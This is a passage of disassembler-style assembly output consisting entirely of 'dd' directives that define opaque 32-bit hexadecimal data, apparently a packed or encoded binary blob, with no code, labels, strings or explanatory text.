		dd 65A07E20h, 89A2112h,	31C09FACh, 4620B308h, 6962215h
		dd 83082969h, 0D2008E20h, 23735988h, 252B5AD7h,	74C8B906h
		dd 0AA419555h, 6C5EE002h, 0EEB304C8h, 62B74632h, 0AB8820CBh
		dd 37008CEEh, 0AC2E42F9h, 0BEDCA14h, 0F0046E3Fh, 0CE096804h
		dd 0C1E5882Ch, 0C54ABAA7h, 0D7A88295h, 5CBF7C1Bh, 81C218F8h
		dd 0AA0EF4F6h, 0B88A5493h, 869936D8h, 370AAC91h, 2380A49Bh
		dd 0AA60F9D3h, 0E74A45Fh, 4633EEB4h, 893C38B6h,	81EEAC03h
		dd 0D04B9233h, 0C7F05F4h, 0A2AE4262h, 14182370h, 5AA0AA4Ch
		dd 299D0108h, 2471F996h, 4E6425E6h, 0C0E588BCh,	136D2B0Bh
		dd 90258D09h, 0C62090D2h, 0DACE0041h, 9B0D322Eh, 814B4AF2h
		dd 302AF0CCh, 3BF9A2E6h, 0C67C8713h, 913FA501h,	0D3101C71h
		dd 0A012880h, 0E6837FCAh, 1604A097h, 4EA3904Fh,	0D334808Bh
		dd 71FACE4Ah, 0C0382C10h, 0D2328E04h, 0A9840192h, 0B448E727h
		dd 9A5300BAh, 0B5757195h, 656629C3h, 0A021F408h, 0F169A9Ah
		dd 0FEB3DC21h, 2881D249h, 3AE76D8Ch, 6F295C07h,	0AD8BF020h
		dd 7B54B808h, 0D40F5034h, 0DCC8261Eh, 468C2844h, 8320298h
		dd 1C2D20B4h, 82A6E00h,	77C2B304h, 1B93068Dh, 21A1D20Ch
		dd 7DF6401h, 8B2CABB8h,	0F2659CC8h, 71501766h, 88B004E5h
		dd 0C4D8019Bh, 5034BB1Dh, 1D52780Bh, 7BBA0FE4h,	0C8C4E28h
		dd 0D2081471h, 42249730h, 5D82EC0Ah, 507F5C20h,	90E74B00h
		dd 0F9B0DCE0h, 0A5D21018h, 0BA1391h, 140A29F2h,	951B0736h
		dd 94B0ABF4h, 88A6F1Fh,	489918Bh, 0F0816D98h, 0A0D29733h
		dd 0EE6E13B8h, 269202BBh, 27D341D9h, 825188A4h,	9130AC48h
		dd 605611DBh, 80ED8893h, 0C5DB991Bh, 6702DAA3h,	1F0874E6h
		dd 0C4044DA1h, 184560F0h, 2000B09Bh, 0A718A80Eh, 0DE79E11Dh
		dd 94C914Fh, 1430870Ch,	0E02824F1h, 6324B0C3h, 0D4241CF8h
		dd 1DF04674h, 0BD016340h, 0F1E7471Eh, 0D4217182h, 0DC815FC7h
		dd 2244B0D6h, 942238h, 82EF404Bh, 46AE51F4h, 69F0FF0Eh
		dd 0F84EE099h, 5D7C970h, 33EDC747h, 506F90h, 0CFDD4DCDh
		dd 2547F95Eh, 18857016h, 782482A8h, 6CC7AC25h, 5426B370h
		dd 30A74893h, 0ECE611h,	63AFA199h, 3BC56090h, 0EA809C46h
		dd 89EC051Bh, 7716646Bh, 84AAB80h, 0E937C46Fh, 4649E080h
		dd 89D0A0A1h, 4DC4B059h, 8A0C1033h, 7029D701h, 1D26EB00h
		dd 0F123A64Dh, 846E012Fh, 0DA526295h, 10E832AAh, 0E7CBB40h
		dd 5CA8B316h, 4FB0C6ECh, 8882934Eh, 28247432h, 229462Ch
		dd 71979A51h, 5A031C65h, 0BCBB9A59h, 0A6B82480h, 0BA1062C8h
		dd 26BC8129h, 26E3DA64h, 8E46E78h, 2B85D658h, 288CC1F6h
		dd 881D32Ch, 0C2C05994h, 464631EEh, 0D1225Fh, 59EEBA8Fh
		dd 90B56163h, 3F967D03h, 4A8E795h, 0EBFB31B1h, 267AC00Dh
		dd 7A000A92h, 833A1AA5h, 0FC42Bh, 849133E0h, 641659F2h
		dd 0A626C8E9h, 5A90B8D9h, 0EE09B718h, 6557462Eh, 0AF8C80C4h
		dd 0D6C0DFEEh, 0E73B3D0Ah, 2664B42Ah, 949A5260h, 116D7123h
		dd 5A5F01EEh, 0CF2409Ah, 9C45AFCDh, 0DDCC8Ch, 7C0E85A3h
		dd 0A40DEEB5h, 0E9B99607h, 2730F466h, 4C941E0Ch, 0A825E4C1h
		dd 0C1A3CC24h, 29BA2418h, 0B0A007Ch, 6AB5E7AFh,	7A4E0F09h
		dd 40C150E2h, 2329102Ch, 9B2B0070h, 0A3E7AEDAh,	0B03600FDh
		dd 38E40106h, 0C87AD330h, 46696502h, 42E2346Eh,	120087A0h
		dd 806F0048h, 2B3EAA28h, 0A6D40702h, 7EEEE80Dh,	67B18D84h
		dd 0D8A0AC29h, 0A143DE41h, 8AC81A6h, 0F801DC48h, 2921115Eh
		dd 5CD8CC30h, 0D1E8B069h, 0EDFD098Ch, 2F00962Dh, 0EA580AE8h
		dd 84166326h, 9962C40Bh, 804DA40h, 1809F88h, 6C49EE5Dh
		dd 45E83E83h, 4AC20972h, 0C4109E6Ah, 0E18BCFE4h, 1882458Ah
		dd 6AB12425h, 4F0EE200h, 9470C898h, 0A8F2AA85h,	9458C483h
		dd 0BE38602h, 812808AAh, 26425D7h, 0C4838A5h, 20BAF876h
		dd 4DF70008h, 0D226FE4h, 6B5901Eh, 75885C38h, 858280B2h
		dd 7292E313h, 5DE3440h,	4CA7D078h, 0CA813822h, 84B02652h
		dd 0D4743BD1h, 591794E4h, 3A9218C1h, 7F32324h, 4067B00Eh
		dd 8A2596C8h, 11D5412Ch, 29EBE60Ch, 908B7E88h, 0B87F07DAh
		dd 90DB34A7h, 835EBAC0h, 0C81A8600h, 5C1E45F2h,	2080A0D8h
		dd 0BBEB2844h, 4E808C8Ch, 0AD040064h, 0FA726045h, 8101A300h
		dd 2984FB36h, 1A690B5h,	46153178h, 83E6B826h, 0E744F238h
		dd 4E5001F8h, 55768C04h
		dd 0B95C2065h, 89B5621h, 0F900A348h, 6CA0B89Dh,	80C94D8Eh
		dd 0A9F28900h, 60D917C4h, 8D16420Ah, 46769CEAh,	0C7DA00F2h
		dd 240D1DEAh, 36ECA0DFh, 0EC8081ACh, 0A367E6B0h, 0C801FE31h
		dd 3FC8858Ah, 222019Ch,	0EC25A67Fh, 0FB9840B9h,	0A779C398h
		dd 0FCC96928h, 5040805Ah, 5AB2580Bh, 308EA47h, 9EAA3FFBh
		dd 20FED280h, 25D04102h, 64920344h, 2584698h, 4630EEC1h
		dd 60E8D167h, 4AEEB98Eh, 92080500h, 0C03040DEh,	99D7204Ch
		dd 28E14E16h, 62A29C80h, 78828ACDh, 2E00DE68h, 0B4BD0F4Ch
		dd 0C1248824h, 0AC3D808Ah, 4674E4A4h, 567E00D0h, 836FE89Dh
		dd 5A11167Ch, 425848B6h, 0A7733080h, 0B87ACF4Bh, 309D4A60h
		dd 0B9082F98h, 11052023h, 276B008Ch, 0D161DF08h, 45D20065h
		dd 372A940Bh, 3A0534DEh, 0FA4A6C26h, 46EEAC47h,	99B1683h
		dd 2475A610h, 586518E2h, 0D671C021h, 0C0F02C19h, 104EA289h
		dd 342B4DD2h, 9874FB7Bh, 0FD64001Dh, 40D85F71h,	18001077h
		dd 0D11EBBBDh, 0D857555h, 0D7EA886Bh, 0A1900031h, 6E16507Bh
		dd 3C20341Bh, 4A1DC4D4h, 2EF01D58h, 57380278h, 8C443262h
		dd 0DBE0BC90h, 9C6C5080h, 306549A4h, 0E660D164h, 690023E7h
		dd 2944C31Eh, 1E2A607Ah, 93C481B3h, 9904C808h, 11337E8Ch
		dd 882520B5h, 2B6F808Dh, 5127D408h, 85570200h, 87D267AFh
		dd 14092D6h, 0B5CCADB7h, 0F1E32A66h, 9719A515h,	80ED91DCh
		dd 48F56F95h, 0E0937984h, 0C3F91382h, 0E5C951Dh, 90C79Ch
		dd 59103641h, 0B0EF9D76h, 0C35344A4h, 0DF601410h, 15C6170Eh
		dd 1674A6FDh, 0CB7C9001h, 4C00C599h, 6A7BE748h,	14AC424Bh
		dd 81935C20h, 0B490D703h, 0B3E2DE60h, 690248C9h, 56B5003Ch
		dd 0FF71B91Ah, 0B80939A6h, 391D4F83h, 3FA03101h, 9948CC86h
		dd 0F1EA1070h, 6809112h, 0A968E662h, 28468C90h,	969A5002h
		dd 0EF315D71h, 9A586910h, 7A64F48h, 0FF296CFCh,	34722640h
		dd 3BC14F08h, 0E72314h,	2430B2F5h, 0E8B2B81Ch, 25D03158h
		dd 0E11489D4h, 6478F86Ch, 0AF64A288h, 51DB9460h, 966B602Dh
		dd 9C1600FCh, 0FB3110DBh, 0A305048Bh, 283E44CCh, 0BDA84881h
		dd 909F820h, 29A79C2Bh,	90322068h, 2560509Eh, 0B2B06DA8h
		dd 0B5810188h, 47406C38h, 1F7464BCh, 27CCA617h,	0C6D1A009h
		dd 0AE10734h, 0DBE42153h, 209E7019h, 0C040D0C8h, 8B6D5C32h
		dd 2AF47800h, 8516620Bh, 1559A90Bh, 0AB9804AFh,	3EDE3D4Eh
		dd 23EC2FCAh, 0FA873FD7h, 173192BCh, 8806B143h,	0A2D42389h
		dd 8BEB309Bh, 3A419802h, 0F8CB54EAh, 53BC823Ch,	3213D03Ch
		dd 6D360500h, 44A7FFF0h, 9F02140Fh, 0DA24ACD7h,	74F43CD0h
		dd 4F39C981h, 0A4E76824h, 740388F4h, 75C09EECh,	0ED0588B6h
		dd 0E57F0059h, 0F50D6DB0h, 0C5CF233h, 9CDC0B54h, 233CE0B3h
		dd 0BEDE0CD3h, 0DFE99FD1h, 3B55D401h, 6B730BB3h, 2C4C5E4h
		dd 5409C96Ah, 6079DB30h, 62E61080h, 2E3680CFh, 4A389682h
		dd 6F311608h, 951D0098h, 0A46CADCCh, 62FC050Fh,	0D29DCE52h
		dd 0ECFBF274h, 137D1570h, 53F5677h, 0D098E6DBh,	636B3674h
		dd 0E01BD709h, 0C44C0BB9h, 21AF38F8h, 0D12DE700h, 3487A2Fh
		dd 8F15F3FAh, 9898D2h, 915F24AAh, 4DDAFCh, 0D490F288h
		dd 0D94F111h, 520B3A00h, 0F85735F5h, 54AA2B60h,	0EEB50188h
		dd 3887462Ch, 0AD82B004h, 7D0C3AEEh, 8664AE84h,	9F3880F4h
		dd 152F3EBAh, 0FBD46291h, 0C1E973F4h, 11BC20ECh, 7C2C7213h
		dd 4281D4C7h, 2C29BFEAh, 56012A23h, 4D71909Ah, 5B88F518h
		dd 9A7F5Eh, 3721B7BEh, 0FC3D591Ch, 63A20E0Ch, 2F4181C9h
		dd 0F043A5E2h, 0C89C8FDDh, 0D88EC094h, 0E1345F9h, 0B8C1F190h
		dd 0CC242A6Ch, 0EDECA36Eh, 0A83CA4B1h, 38CE4BCh, 1E0C18A8h
		dd 6160EA40h, 82642681h, 10229799h, 8429F274h, 0A0505C94h
		dd 570A2B23h, 5516DC9Ah, 5C03BCCBh, 1A339A5Fh, 90C082B2h
		dd 4D39F761h, 0F30D7034h, 68E5246Dh, 80045CC2h,	305752CAh
		dd 0EB5C68A4h, 47D00B8h, 917E5D73h, 494C0269h, 0D8C9E416h
		dd 42ED5084h, 0F2682499h, 36521018h, 0CD9B26AAh, 0B4D1C313h
		dd 8B0C922Ah, 0E020AA41h, 0C54E17C4h, 0A8202026h, 9E522A64h
		dd 0E3C0108Ch, 405B4284h, 58E1E629h, 78796378h,	6043B8F6h
		dd 30F2A298h, 2C3E6C82h, 107AAD24h, 448F74h, 9F6B5B04h
		dd 0D9343C23h, 402FD0C9h, 0BFC19824h, 8FADE891h, 328009C1h
		dd 9C8B5440h, 1CEC274Bh, 0C01D9E19h, 69FB3E7Eh,	21004AE6h
		dd 5808BC93h, 0AB9C5643h, 5048F69Ch, 80A6A071h,	63130F7h
		dd 0B8EE2822h, 28008018h, 0A2B7567Bh, 1B25EBC8h, 38949C24h
		dd 8900D8F3h, 0D1322AE8h, 8E1AF5h, 0C73ECF5Bh, 1EE45D8Ch
		dd 0AD58A00h, 2D4E2A95h, 30491261h, 0CE6C00ECh,	0AE102CF1h
		dd 7A5350C0h, 1D384FAh,	1827DCB8h, 60F524C3h, 1418BB00h
		dd 5C28BC54h, 520A273Bh, 0EF912C1Dh, 0D8742E80h, 7612461Dh
		dd 0FEDD4h, 68003620h, 7209CAD9h, 3CC0490Ch, 9E8E600Bh
		dd 91E414E5h, 0A73C1960h, 8823B017h, 0F1AA84E4h, 909B0FE4h
		dd 0EAA82140h, 89934308h, 3C04D324h, 0F6233F56h, 226CC20Eh
		dd 0E10875CDh, 0A820E2C0h, 0D9C7679Ch, 0AB449432h, 0CAD42045h
		dd 0BA314CF2h, 0CA6C26C9h, 0E469848h, 0E0E56020h, 63D1C4B7h
		dd 916081F6h, 0C496026Fh, 18CF6250h, 5C14959Fh,	27DC0E7h
		dd 4A62F829h, 44829102h, 7C46D948h, 9D88D20h, 0F8C26420h
		dd 0C9C8DC10h, 3A6079FBh, 1340D3h, 8B663086h, 67DD5C26h
		dd 6E24C480h, 0EB09D19Ah, 0EC034C90h, 58009871h, 0BA92DF2Dh
		dd 1EA71FAh, 22BD0A8h, 89AFE10Dh, 98AB1A88h, 81EF2AACh
		dd 88CC4E6Fh, 45BBC0F5h, 0CDA36E58h, 0D85D4CF8h, 0B7B18000h
		dd 9DF9A937h, 712F6FA7h, 5033491Dh, 0BEBCE400h,	1431D151h
		dd 0F716889Bh, 8906103h, 0EE444CDEh, 0B9D1h, 0B165D2A6h
		dd 0B901B80Dh, 992E3540h, 62C4CBC2h, 4428132Bh,	6EAC827Fh
		dd 917834ECh, 5825A726h, 520BD448h, 74FC48A3h, 78C782A4h
		dd 0F960F344h, 39F8E718h, 23D99312h, 0DE1674B2h, 2988D04Fh
		dd 31ECECDFh, 0CE8FA801h, 6DA63AA7h, 48D986F0h,	41218D2h
		dd 0A55C32AFh, 0CC530B20h, 0E4265850h, 6A92311h, 0F0A34C2Eh
		dd 594DF0F0h, 0BD2220A0h, 30F3753Fh, 1E4038ABh,	14819574h
		dd 6C6B5420h, 763A0F44h, 81D3EF6Ch, 0C290AAF2h,	0C74F5888h
		dd 29914E80h, 252C2398h, 0D872BA0Ch, 1F9C5620h,	0A7FD1425h
		dd 8110A466h, 62009AC6h, 417C2A2Dh, 5C3BBCD3h, 928E8124h
		dd 3356AECCh, 88AF6820h, 0A490A626h, 7BB9E700h,	40327778h
		dd 4C2D0BDBh, 1844EC3Fh, 1260BD44h, 21A60A3Ah, 0CA2A4B8h
		dd 0A859C298h, 94A5A74Ch, 2B34F4E6h, 0F77694FCh, 6D0132F0h
		dd 348F203Eh, 0A4418E21h, 0C4639E1Ah, 0B4908822h, 3D8D849h
		dd 0FD946A36h, 0D6301008h, 4AE2DF90h, 23442E61h, 0FF1DD1h
		dd 0C0E5F80Ch, 5C1347E4h, 1822A5A3h, 44B46C40h,	264EA765h
		dd 0E757DCD7h, 550198Ch, 0B5D33362h, 9672C01Fh,	1C09BE2Ch
		dd 7A68D8C1h, 0F2EB27F4h, 0DB98811h, 0F1ACC02Ch, 144DE28Ch
		dd 0A4B2DF8Fh, 8CA96FB2h, 807078DBh, 1C200E3Ah,	0B120D3D1h
		dd 2C263FF9h, 0BC8B550h, 0A1D4E08h, 4FD20810h, 3C3BA365h
		dd 8400CA23h, 0FD3D0356h, 0A6EA1DE5h, 59F066DFh, 104DE7Bh
		dd 3902CCC8h, 0E8047E5h, 0AFB90527h, 6CE675CBh,	0DBA51700h
		dd 2C91E23Bh, 48D56508h
		dd 0A0F00432h, 796432EFh, 18EEF1B0h, 27A72CBAh,	0F05340D8h
		dd 0EC2F76C8h, 0C2D820E5h, 0CE7478h, 6843E83Dh,	0FF072C3Bh
		dd 0F305F00h, 0D0CC198Eh, 6C6D11F4h, 3E6408B8h,	91D02AEFh
		dd 0C89CF844h, 84D37A84h, 0E4A18543h, 42EE08BDh, 2E5411B8h
		dd 0BC0D5983h, 0B715409Fh, 0F096257h, 16B33AA8h, 0AC4620A4h
		dd 0C0D22331h, 9C02BCDAh, 12932041h, 8068F4E6h,	0FF413D7Eh
		dd 690377AFh, 0E44A0AA2h, 27B0805Bh, 8CFB51BEh,	223A9831h
		dd 987ECBA0h, 0ED467Ch,	0B954785Ah, 0EC9CC44Eh,	45F90BAFh
		dd 2CC0746Eh, 67454C26h, 2F3B8AEDh, 19B2394h, 4158AF42h
		dd 3A1EE526h, 0C09E2C48h, 20C20830h, 688F1D43h,	0B3810820h
		dd 0F6024F91h, 0D8E99B9Ch, 12B058AFh, 0F4E04E09h, 9CF1AF4h
		dd 3C294123h, 5180266Eh, 7AAB5109h, 0BCA6C0CDh,	3E2DF300h
		dd 9580A51Bh, 18B0F6Eh,	1CA00C47h, 86CE575h, 3988949Eh
		dd 0BAA409Ah, 7C01C852h, 0D9413157h, 40608E06h,	6C1484ABh
		dd 1CA0BF3Eh, 81AD6DB8h, 0C664F2B4h, 5C26C035h,	275B03F0h
		dd 0CE952805h, 40C1EA70h, 7100453Eh, 0A0409834h, 0C8979DF8h
		dd 0A79FD391h, 6A005864h, 8A3F8886h, 12AA328h, 3AD6AD83h
		dd 45D75416h, 7D0C3AE8h, 0B2FD098Ch, 0C8E4422Dh, 52B7CE00h
		dd 916175BAh, 0C281001Fh, 6732A8F9h, 260F3322h,	2084CB1Eh
		dd 8F0530F7h, 239D0129h, 0A74632D7h, 0A2306345h, 0E6ED30F3h
		dd 129A23Ch, 2C7236CCh,	932FBB38h, 0E7B350F8h, 76031AE8h
		dd 292AF400h, 62235BB3h, 5EB8BEB9h, 491DCA46h, 3796014Dh
		dd 0D0CD5809h, 29057B46h, 0EB23E6A5h, 3E9BDC00h, 54035E30h
		dd 1D4190A4h, 404FE69Ch, 0ADF972E1h, 6A0338CBh,	0D199291Dh
		dd 0F729009Eh, 0FFC5F6ACh, 77383DC9h, 1F338045h, 0EB3FB3A7h
		dd 0C47C1C01h, 42E42699h, 48C06AD2h, 0C2009258h, 136D2957h
		dd 165E6F81h, 6024A985h, 8A9A4C14h, 967D7127h, 545D0784h
		dd 0D05E0B9Ah, 2EEA35B9h, 0E526213h, 4E18CF0h, 907D5423h
		dd 0C8808E9Bh, 92FEC0DCh, 0DE2C5663h, 2455042h,	7A8F9420h
		dd 0DA970023h, 28A5CA3Ch, 8A00341Eh, 0B3EB4A55h, 0FB6A64C0h
		dd 0F2BCD52Fh, 3096F2DCh, 0AB00BA86h, 0C1531C65h, 2734257Eh
		dd 84CD2Ch, 97A40C7h, 131A3245h, 54CFF499h, 2F4B6448h
		dd 0F623D0h, 0BE4096DDh, 981FA248h, 14C66C5Eh, 2578A8B8h
		dd 0C4CDCE03h, 0F882BAC0h, 187BE6h, 17C41D52h, 0AA2A60E0h
		dd 79DC9650h, 392B5900h, 3CC8A26Bh, 47C989Dh, 0DE5FBA9Fh
		dd 5234C0BEh, 0AC24E4A6h, 0A20A3023h, 9143EC59h, 5E3002C2h
		dd 0C5803472h, 0E28AB045h, 9244C8C6h, 0B6698065h, 0A253FD20h
		dd 9722C8h, 79082464h, 5AB739E2h, 41543C02h, 0F8DD7476h
		dd 0BB803098h, 4B05989h, 8D3CB700h, 0D1AF98FDh,	0DCA24C1Ch
		dd 449E9D22h, 563FCC40h, 34C16AFh, 840405B5h, 0F778B2CAh
		dd 492E0D8h, 0BC001453h, 7918DCCh, 5344FDAh, 0D34168D0h
		dd 1F48A858h, 79C67A66h, 89DD01h, 649FBFF6h, 62E11770h
		dd 6B167B16h, 40CEE4A0h, 1C48B4AFh, 3341C0ACh, 3B9EA9F2h
		dd 402CD123h, 5CB0E8C0h, 87009546h, 0B512635Fh,	0DC91D8F3h
		dd 0D618D1D1h, 8490B30h, 1CF7D8FAh, 0EFF04262h,	188581Dh
		dd 3F67AAh, 180D1235h, 0E43AF35Fh, 7500CB23h, 43467B29h
		dd 284D0272h, 842C4F76h, 933E5C60h, 0BCA8A1CFh,	0BB107585h
		dd 0E456A40Bh, 77F402ECh, 0A6E68EF2h, 40A04320h, 29D20062h
		dd 0CD258B17h, 0AA70DEBDh, 0AF44A2B5h, 1CF5E01Eh, 0D68B3C1Ah
		dd 399A9226h, 4F0D017Eh, 5CCE5391h, 6F606562h, 0DB243804h
		dd 90270C91h, 0B180B8E0h, 8BAE00E0h, 96A5DDC1h,	63812800h
		dd 0E0034772h, 48B902BBh, 0BFE6BC6Eh, 0D926C840h, 4CE33D2Dh
		dd 5815955Ch, 0A080ED91h, 42264E32h, 4CC02509h,	0A24C0272h
		dd 2C410F9Fh, 2BF0BE58h, 0E623C03Ah, 29F46C02h,	46684079h
		dd 0D4142526h, 0BE13FCE8h, 0AF252784h, 0F211341Fh, 5C15E780h
		dd 7F711ED7h, 641326ECh, 9491F956h, 226AE6B4h, 222430Ch
		dd 779448A7h, 86170097h, 0AE62F575h, 0C42FDB03h, 3AB0181Dh
		dd 259080ECh, 0BD622414h, 1104748Ch, 0C180AE85h, 8FD0D900h
		dd 8C03DCE9h, 71352A6h,	40D89024h, 81184E76h, 26A8F2DCh
		dd 183BF078h, 0F614019Fh, 20CCA555h, 2F5BFD61h,	56C40Bh
		dd 8E891024h, 14240B1Eh, 6C24D41Ch, 0CB5A43CDh,	0DEFAE96Dh
		dd 255FE8C0h, 6CE5F7B2h, 5067F3E4h, 0BA8161C9h,	84242F70h
		dd 46744449h, 14EB00F0h, 0DCF7D594h, 5054F446h,	4B07D8E4h
		dd 5274908Eh, 38999CF2h, 86A9EDF0h, 0A276B803h,	7A131046h
		dd 0B956F019h, 0F33D0BF0h, 8F00A464h, 548D8088h, 8A0DA7h
		dd 7F99DD37h, 0BBCA8CCh, 0A3FAAC01h, 2443DEE9h,	0B7235194h
		dd 0E0A7DD2Fh, 7064C8DAh, 0C8E8E649h, 0FB002A9Eh, 0BA637205h
		dd 17BD462h, 699412D8h,	3CAF6F6Eh, 0F5248020h, 0F37573h
		dd 2D5A6C32h, 8E5C615Bh, 2B4EBC1Fh, 56B3F401h, 406E41E2h
		dd 64F28918h, 9D9DEBB6h, 82D19130h, 0C0572BB3h,	12895D4Ch
		dd 41F664BEh, 0A31EC4DCh, 0C00902D9h, 80B9C208h, 785E2423h
		dd 3FF8BC01h, 13B5C1Eh,	0E26C26F8h, 23C00C9h, 0D140CBECh
		dd 2500347Ah, 2D2A4798h, 3F51231Ch, 0ED825AB8h,	0B321534Eh
		dd 907958F9h, 4E704D18h, 0B1B72716h, 47BE0C04h,	3C82B8F8h
		dd 0A47CFAD4h, 0CFCEF889h, 0A1C140CCh, 0C90056ADh, 46B66C3Dh
		dd 0BED21462h, 0E237B83Ch, 5CFA9031h, 0F011FD5h, 8744DE55h
		dd 203E26B1h, 302C40C8h, 0FA4F9710h, 0A01E4604h, 1094FDB5h
		dd 0C2FF55Fh, 0C79A2C27h, 188BC65Ch, 142F955Ah,	6E03F023h
		dd 0DC5A7F6Bh, 0A5105C91h, 7C25C600h, 2E09D89Eh, 0A264E191h
		dd 2984D1A4h, 8C0A4ACh,	0C001BD4Ah, 0B155A1DAh,	76D85EFEh
		dd 5803CA46h, 7FA47C61h, 0CF381FB0h, 0F11BE609h, 0E96870D8h
		dd 0DB4CA000h, 480460B6h, 0D082ADD3h, 0F09CD123h, 186AA01h
		dd 1FDB68B9h, 2125FE79h, 0A4173ABEh, 4848A0A2h,	1C8CF4E8h
		dd 7FA7334Ah, 8F0593h, 4C243AE0h, 562D71E8h, 10444D9h
		dd 0B543D370h, 0D0762C5Eh, 0A60BF7A7h, 0F906FFF4h, 189B712Ch
		dd 0F0391342h, 81DCE8F5h, 0EDF35420h, 163AD880h, 0AA906089h
		dd 0FB5EF89Eh, 3A07DD18h, 14722F0Fh, 25F85889h,	2C45EC8Eh
		dd 9160F0E4h, 815CE49Bh, 0E1CC8794h, 415019F0h,	15DF1F6Eh
		dd 305DCF6Dh, 10758D27h, 45FC24E0h, 0BF2675h, 2B5C56B8h
		dd 0FC6C483Ch, 0F4017A13h, 0C23B738Ch, 963A0370h, 0A857CDB7h
		dd 0EEA0FE8Ch, 5E121F32h, 580AC04Ah, 3045611Fh,	0FE14002h
		dd 6E9D3880h, 971B00E8h, 649F4F20h, 6A48A3D1h, 3DD70226h
		dd 0E20BE5C7h, 5AE4E24Fh, 0E8629F78h, 37BD807Ah, 193F0E14h
		dd 0F8D780A5h, 6DB8046Ch, 0D488C070h, 0CDEA80C9h, 13BC4780h
		dd 49B81423h, 0C41051D0h, 6C546DA0h, 53090B98h,	0D0A6AE05h
		dd 3EE34418h, 0D3493F09h, 6CAC04AFh, 800020FCh,	71E54237h
		dd 0BE59942Ch, 9BF01380h, 1222014h, 996F8EF1h, 176F601Ch
		dd 0F97C2004h, 130071A4h, 0F6CAC390h, 0B0A1CFh,	0FDE2214Eh
		dd 5F27523Eh, 226E8617h, 90F2FCF3h, 3E39C30h, 4A21C5B5h
		dd 8100DE81h, 644659BDh, 30848543h, 0EE0ACB1Dh,	917EB5E0h
		dd 6CC86B5Eh, 0FD8A3FA7h, 0FA97C000h, 281636DFh, 0EB1C7D00h
		dd 8D65BB0Ch, 0BD947046h, 0A5B6D4A0h, 1B00EA7Dh, 32D3DD5Dh
		dd 9342590h, 0A9B44679h
		dd 237090D3h, 900098C2h, 0BCE62048h, 240DCA3h, 6352A2FCh
		dd 9A058ECh, 0A49080DBh, 0E8D0E6C0h, 5751CFh, 7E179F3Fh
		dd 7AB67F96h, 273D4912h, 39C81C08h, 52C099E1h, 8B68758Eh
		dd 7886BEC0h, 764017ACh, 5654C0F0h, 34A1AC80h, 293F10EBh
		dd 0EF0400CBh, 38F064F9h, 0AB0DC7Ch, 5C44E507h,	56298E4Bh
		dd 43A34400h, 133C87D6h, 16F363F9h, 1D3C05F8h, 0CEE0CC70h
		dd 8490608Ah, 4C1C80C0h, 1363AD20h, 0B1180DCEh,	0CFB1C014h
		dd 645C6795h, 448064EDh, 980E2DEh, 0B64FDABBh, 0A29F7400h
		dd 0F0BA8E54h, 80993831h, 3B7BC0C7h, 1D72344h, 12B86863h
		dd 2E23C5C4h, 0FA520020h, 92F3E06Eh, 403C94E8h,	15C50432h
		dd 0BCD24F02h, 84C8CEBDh, 2D0BC1E4h, 0E4F16059h, 3B71A318h
		dd 1C921612h, 97EC30A8h, 1D2FA8Ch, 0EF9B0EE5h, 2A1DC666h
		dd 0DD12D85Ch, 0C210C8E2h, 14910495h, 26009BD4h, 0C47AFD4Eh
		dd 30611C00h, 6A9319CEh, 54B55D5Ah, 0AC9B4612h,	8CDCECD8h
		dd 5EC56000h, 0D639E0DFh, 8A80C58Ch, 23983AA2h,	11AA04E7h
		dd 9C04818Dh, 58C09FD8h, 6FB52A40h, 2FE839D0h, 906448DEh
		dd 0CAD81410h, 96F161Eh, 0B070301Ch, 1E326208h,	4891798h
		dd 5FAAAACh, 0E0AD58E6h, 1200A122h, 1123F0A9h, 4E46039h
		dd 75A632F7h, 527CF028h, 721C4704h, 4CBDF22Ch, 29D4D11h
		dd 3B5CD223h, 5A90503Eh, 9EAC40D1h, 0F4DF6C7Ah,	45EC3800h
		dd 566DBAD0h, 63D40009h, 3498AC2Fh, 7F1DDA1Bh, 0ED970DF4h
		dd 413A24E4h, 9F1ED1BBh, 5916D30Eh, 5A95C804h, 99242501h
		dd 34486479h, 2EF53Dh, 0D6B8E7A0h, 169E31Fh, 23E27220h
		dd 864C6044h, 0BD12651h, 1D4679D8h, 0AEBE3EF8h,	0E9A360CCh
		dd 61958D05h, 0C207CC50h, 8C59A073h, 960E4085h,	541CCC90h
		dd 9C3B2F7Bh, 82243007h, 38F25C4Fh, 0FB2DEA78h,	0C4066F9h
		dd 0E1383E40h, 4F3244F1h, 4346598Fh, 0BE180424h, 0B3A70999h
		dd 30E6A22Ch, 0C00011FFh, 46D63B90h, 0B7EEEC0Eh, 9FE36022h
		dd 3980E419h, 0F1D2E959h, 0A7E74264h, 0B8681920h, 9EED2420h
		dd 0BBF08B90h, 1C42105Eh, 31A01B0h, 0A3A03CCCh,	8B03A44Ch
		dd 0E4A47C14h, 50431678h, 0AD04682Ch, 5EC0206Dh, 58A3DDB7h
		dd 50163013h, 661C91C3h, 0C1BC0C67h, 1E4A60F1h,	25C69B5h
		dd 0ABEE281Ch, 80BCFE81h, 6ED2225Dh, 5C01187Bh,	0E9A1AFC8h
		dd 50D8B80Eh, 9C109573h, 0DC0953C9h, 845667C2h,	2341BA48h
		dd 83F23Ch, 5B023260h, 5828A4BDh, 2C0139EEh, 0CBB8F87h
		dd 9C2BC640h, 0A225AE70h, 416CA05Bh, 1CA5272Bh,	350B867h
		dd 0E820A826h, 9CC8D14Bh, 287DDDh, 8E1BF672h, 88A82E6h
		dd 9F4E3300h, 0FD626745h, 4C5975Ah, 4460F3E4h, 0D500D4E7h
		dd 1372260Eh, 956D0CCh,	0FA580BB6h, 328EAB01h, 0A7403486h
		dd 0DE302E50h, 24383416h, 0C48084E8h, 1F8ED80Fh, 0E71E97F3h
		dd 2E3B8F4h, 0E47AE2B2h, 8407DF0h, 0F47903EDh, 6B542609h
		dd 2FC4F2FAh, 84E3CBA0h, 0F02A4830h, 0CA5213Bh,	0AD4330F7h
		dd 0A444DE90h, 0F4B1093Ah, 38892C6Dh, 8DD16851h, 480EDB18h
		dd 4052378Fh, 0C08B9660h, 0C2E3265Ch, 0C0D95210h, 98189179h
		dd 55417700h, 3FF7F478h, 0DEEE122Ch, 82C0E844h,	76C4243Ch
		dd 464209F8h, 0FBA36420h, 309643DEh, 8F81480h, 90EB50E7h
		dd 37800980h, 0C56AC64h, 0F8025961h, 9051FC61h,	3B7AC990h
		dd 5F32368h, 0C198BB52h, 381403F5h, 0E4F489F0h,	0D09F4E10h
		dd 0E8C01E88h, 3C34D74Bh, 5200D0E9h, 0E8E73E27h, 13581E39h
		dd 29A00079h, 0C0C65383h, 2078C2E0h, 0F054434Ch, 37815F00h
		dd 97AAB799h, 0F16BD4C0h, 24089102h, 5BAF3814h,	16460560h
